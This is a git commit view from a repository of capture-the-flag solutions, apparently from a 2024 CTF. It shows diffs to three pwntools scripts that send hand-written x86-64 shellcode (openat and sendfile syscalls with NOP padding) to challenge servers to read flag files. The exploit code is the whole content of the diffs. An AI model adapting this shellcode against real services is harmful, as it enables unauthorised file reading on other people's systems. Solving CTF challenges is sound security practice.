jc/ctfs
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Merge remote-tracking branch 'refs/remotes/origin/main'

Browse Source
This commit is contained in:
jc
2024-10-24 21:02:36 +03:00
parent 9befef262f 24121c97b3
commit 14d5351f4b
3 changed files with 8 additions and 8 deletions
Download Patch File Download Diff File Expand all files Collapse all files
africabattlectf_2024/sweet_game/a.py
+3 -3
View File
@@ -26,9 +26,9 @@ r.sendlineafter(b": ", buf)
# openat + sendfile # openat + sendfile
shellcode=""" shellcode="""
lea rsi, [rdx+38] lea rsi, [rdx+37]
mov edi, -100 mov edi, -100
xor rdx, rdx cqo
xor r10, r10 xor r10, r10
add ax, 257 add ax, 257
syscall syscall
@@ -43,4 +43,4 @@ shellcode = asm(shellcode)
shellcode += b"flag.txt\0" shellcode += b"flag.txt\0"
r.sendlineafter(b": ", shellcode) r.sendlineafter(b": ", shellcode)
r.interactive() r.interactive()
africabattlectf_2024/universe/a.py
+3 -3
View File
@@ -8,8 +8,8 @@ r = remote("challenge.bugpwn.com", 1004)
# openat + sendfile # openat + sendfile
shellcode=""" shellcode="""
lea rsi, [rdx+30] lea rsi, [rdx+29]
xor rdx, rdx cqo
xor r10, r10 xor r10, r10
add ax, 257 add ax, 257
syscall syscall
@@ -24,4 +24,4 @@ shellcode += b"/flag.txt\0"
shellcode += b"\x90"*(4096-len(shellcode)) shellcode += b"\x90"*(4096-len(shellcode))
r.sendline(shellcode) r.sendline(shellcode)
r.interactive() r.interactive()
africabattlectf_2024/universe/read_files.py
+2 -2
View File
@@ -14,7 +14,7 @@ add r9, 0x4500
mov r15, 0x2f mov r15, 0x2f
push r15 push r15
lea rsi, [rsp] lea rsi, [rsp]
xor rdx, rdx cqo
xor r10, r10 xor r10, r10
add ax, 257 add ax, 257
syscall syscall
@@ -31,4 +31,4 @@ shellcode = asm(shellcode)
shellcode += b"\x90"*(4096-len(shellcode)) shellcode += b"\x90"*(4096-len(shellcode))
r.sendline(shellcode) r.sendline(shellcode)
r.interactive() r.interactive()